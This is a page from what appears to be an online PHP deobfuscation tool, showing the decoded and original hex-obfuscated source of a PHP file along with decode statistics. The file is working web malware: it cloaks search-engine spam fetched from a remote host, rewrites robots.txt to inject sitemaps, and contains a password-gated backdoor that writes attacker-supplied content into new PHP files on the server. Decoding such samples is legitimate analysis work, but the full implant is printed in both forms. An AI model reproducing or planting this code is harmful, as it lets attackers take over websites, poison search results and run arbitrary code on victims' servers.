Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto QOFX7; z115n: function dageget($url) { $file_contents = ''; if (function_exis..
Decoded Output download
<?php
goto QOFX7; z115n: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto UacPK; jJlJ5: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto oSYD7; QOFX7: @set_time_limit(3600); goto mSxsF; zBweL: $lang = urlencode($lang); goto yfh8T; hNWDa: $host = $_SERVER["HTTP_HOST"]; goto HQIjC; GQd1o: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto m0re8; MEIvp: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto hNWDa; yfh8T: $urlshang = ''; goto FUxfY; whK11: $xmlname = "smpn"; goto A5C3d; WYAd3: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto x2wk0; A5C3d: $http_web = "http"; goto RAULB; x2wk0: $htmcontent = trim(dageget($web)); goto GQd1o; m0re8: function pingmap($url) { $url_arr = explode("
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto iB2E5; RAULB: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto tjuuu; HQIjC: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto zBweL; ZHemC: if ($duri_tmp == '') { $duri_tmp = "/"; } goto lpMpn; iB2E5: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto z115n; mSxsF: @ignore_user_abort(1); goto whK11; tjuuu: $duri_tmp = st_uri(); goto ZHemC; lpMpn: $duri = urlencode($duri_tmp); goto jJlJ5; VdajK: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto WYAd3; oSYD7: $goweb = $xmlname . ".liketoearch" . ".xyz"; goto MEIvp; FUxfY: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto VdajK; UacPK:
//uw048 ?>
Did this file decode correctly?
Original Code
<?php
goto QOFX7; z115n: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\162\x6c\x5f\151\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto UacPK; jJlJ5: function st_uri() { if (isset($_SERVER["\122\105\x51\125\105\x53\124\137\125\x52\111"])) { $duri = $_SERVER["\x52\105\121\x55\x45\x53\x54\137\125\122\111"]; } else { if (isset($_SERVER["\141\x72\x67\x76"])) { $duri = $_SERVER["\120\x48\120\x5f\x53\x45\x4c\x46"] . "\77" . $_SERVER["\x61\162\147\166"][0]; } else { $duri = $_SERVER["\120\x48\120\x5f\x53\105\x4c\x46"] . "\77" . $_SERVER["\x51\x55\x45\122\131\x5f\123\x54\122\111\116\107"]; } } return $duri; } goto oSYD7; QOFX7: @set_time_limit(3600); goto mSxsF; zBweL: $lang = urlencode($lang); goto yfh8T; hNWDa: $host = $_SERVER["\x48\124\x54\120\x5f\110\x4f\x53\x54"]; goto HQIjC; GQd1o: if (!strstr($htmcontent, "\x6e\157\x62\x6f\164\165\x73\145\162\x61\147\x65\156\x74")) { if (strstr($htmcontent, "\x6f\x6b\150\x74\x6d\x6c\x67\145\x74\143\157\x6e\x74\x65\x6e\x74")) { @header("\103\x6f\156\x74\145\156\x74\x2d\164\171\160\x65\x3a\40\x74\x65\170\164\x2f\150\x74\155\x6c\x3b\x20\x63\x68\141\x72\x73\145\x74\x3d\x75\x74\146\55\x38"); $htmcontent = str_replace("\x6f\153\x68\164\155\154\147\x65\164\x63\x6f\156\164\145\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\170\x6d\154\147\145\164\x63\157\156\164\x65\x6e\164")) { $htmcontent = str_replace("\x6f\x6b\x78\155\154\x67\x65\x74\x63\x6f\156\x74\145\x6e\x74", '', $htmcontent); @header("\103\x6f\x6e\164\x65\156\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\145\x78\x74\x2f\x78\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\x69\156\147\x78\x6d\x6c\147\x65\164\x63\157\x6e\x74\x65\x6e\164")) { $htmcontent = str_replace("\x70\x69\x6e\x67\170\x6d\154\x67\145\x74\x63\157\156\x74\145\x6e\164", '', $htmcontent); @header("\x43\157\156\x74\x65\x6e\164\x2d\164\171\x70\x65\72\x20\x74\x65\170\164\x2f\x68\164\x6d\x6c\73\x20\x63\150\x61\x72\163\x65\x74\x3d\165\x74\x66\x2d\70"); echo pingmap($htmcontent); die; } } } } goto m0re8; MEIvp: function is_htps() { if (isset($_SERVER["\x48\124\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\x53"]) !== "\157\146\146") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\x5f\130\x5f\x46\117\x52\x57\101\x52\104\x45\104\x5f\120\122\117\124\x4f"]) && $_SERVER["\x48\124\124\x50\137\130\137\x46\x4f\x52\127\101\122\x44\x45\104\137\x50\x52\117\124\117"] === "\150\164\164\x70\163") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\x5f\106\x52\117\116\124\137\105\116\x44\137\x48\124\x54\120\123"]) && strtolower($_SERVER["\110\124\x54\x50\137\x46\122\117\x4e\x54\137\x45\116\104\x5f\x48\124\x54\x50\123"]) !== "\157\x66\x66") { return true; } return false; } goto hNWDa; yfh8T: $urlshang = ''; goto FUxfY; whK11: $xmlname = "\x73\x6d\160\156"; goto A5C3d; WYAd3: $web = $http_web . "\72\57\x2f" . $goweb . "\x2f\151\156\x64\145\170\x6e\x65\167\x2e\160\150\x70\x3f\167\x65\142\x3d" . $host . "\46\172\172\75" . sbot() . "\46\165\162\151\75" . $duri . "\x26\x75\162\154\x73\150\x61\x6e\x67\75" . $urlshang . "\46\150\x74\x74\160\75" . $http . "\x26\x6c\141\x6e\x67\x3d" . $lang; goto x2wk0; A5C3d: $http_web = "\x68\164\x74\160"; goto RAULB; x2wk0: $htmcontent = trim(dageget($web)); goto GQd1o; m0re8: function pingmap($url) { $url_arr = explode("\15\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\x69\164\x65\155\x61\x70\x20\x4e\157\x74\x69\146\151\x63\x61\164\x69\157\x6e\40\x52\x65\x63\x65\x69\166\x65\x64") !== false ? "\x70\x69\x6e\x67\157\153" : "\145\162\x72\157\162"; $return_str .= $pingUrl . "\55\x2d\x20" . $ok . "\74\142\162\x3e"; } return $return_str; } goto iB2E5; RAULB: if (is_htps()) { $http = "\x68\x74\164\x70\163"; } else { $http = "\x68\164\164\160"; } goto tjuuu; HQIjC: $lang = @$_SERVER["\x48\124\124\120\x5f\101\x43\x43\x45\x50\124\137\114\101\x4e\107\x55\x41\x47\105"]; goto zBweL; ZHemC: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto lpMpn; iB2E5: function sbot() { $uAgent = strtolower($_SERVER["\110\x54\x54\120\x5f\x55\x53\x45\x52\x5f\101\x47\x45\116\124"]); if (stristr($uAgent, "\147\157\x6f\x67\x6c\145\142\x6f\x74") || stristr($uAgent, "\142\x69\x6e\147") || stristr($uAgent, "\171\141\150\157\x6f") || stristr($uAgent, "\x67\157\157\x67\154\x65") || stristr($uAgent, "\x47\157\x6f\147\154\145\142\157\x74") || stristr($uAgent, "\147\157\x6f\x67\154\145\142\157\164")) { return true; } else { return false; } } goto z115n; mSxsF: @ignore_user_abort(1); goto whK11; tjuuu: $duri_tmp = st_uri(); goto ZHemC; lpMpn: $duri = urlencode($duri_tmp); goto jJlJ5; VdajK: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\x6d\141\x70\x6e\141\155\x65"]; $action = @$_GET["\141\x63\x74\x69\157\x6e"]; if (isset($_SERVER["\104\117\x43\x55\x4d\x45\116\124\x5f\x52\x4f\117\124"])) { $path = $_SERVER["\104\117\103\x55\115\105\116\124\x5f\x52\x4f\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\x75\x74"; } if ($action == "\x70\165\164") { if (strstr($add_content, "\56\170\155\x6c")) { $map_path = $path . "\57\163\x69\164\x65\x6d\x61\160\x2e\x78\x6d\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\x6f\142\157\164\x73\x2e\164\x78\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\163\x65\162\x2d\x61\x67\x65\156\x74\x3a\x20\x2a\101\154\154\x6f\x77\72\x20\x2f"; } $sitmap_url = $http . "\x3a\57\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\x62\162\x3e\x73\x69\x74\145\x6d\141\x70\x20\141\154\x72\x65\141\x64\171\x20\141\x64\144\x65\x64\41\74\142\162\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "\x53\151\x74\x65\155\141\x70\72\x20" . $sitmap_url)) { echo "\74\142\x72\x3e\157\x6b\74\x62\162\x3e"; } else { echo "\74\x62\162\x3e\146\x69\154\x65\x20\167\x72\151\x74\145\x20\146\141\154\x73\x65\x21\74\x62\x72\x3e"; } } } else { echo "\74\142\162\x3e\163\151\164\145\x6d\x61\160\40\x6e\141\x6d\x65\x20\146\141\x6c\x73\145\41\x3c\x62\x72\x3e"; } if (strstr($add_content, "\56\160" . "\x68\x70")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\x3a\57\x2f" . $goweb . "\x2f\141\56\160" . "\150\160") || $b == "\70\x30\70\x37\x33\x35\142\61\67\143\70\71\x34\x33\145\63\67\x31\x35\63\70\x38\71\65\70\144\143\x32\62\144\x38\x37\71\x61\70\143\71\x65\141\x61") { $dstr = @$_GET["\144\163\x74\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\x6b"; } } } } die; } goto WYAd3; oSYD7: $goweb = $xmlname . "\x2e\x6c\x69\153\145\164\157\x65\141\x72\x63\x68" . "\56\x78\171\x7a"; goto MEIvp; FUxfY: if (isset($_SERVER["\110\x54\124\120\137\122\105\106\x45\x52\x45\122"])) { $urlshang = $_SERVER["\x48\x54\124\120\137\x52\105\106\105\122\x45\122"]; $urlshang = urlencode($urlshang); } goto VdajK; UacPK:
//uw048 ?>
Function Calls
None |
Stats
MD5 | 5ab9e8e9da831a4d15f8acf41d89de6f |
Eval Count | 0 |
Decode Time | 57 ms |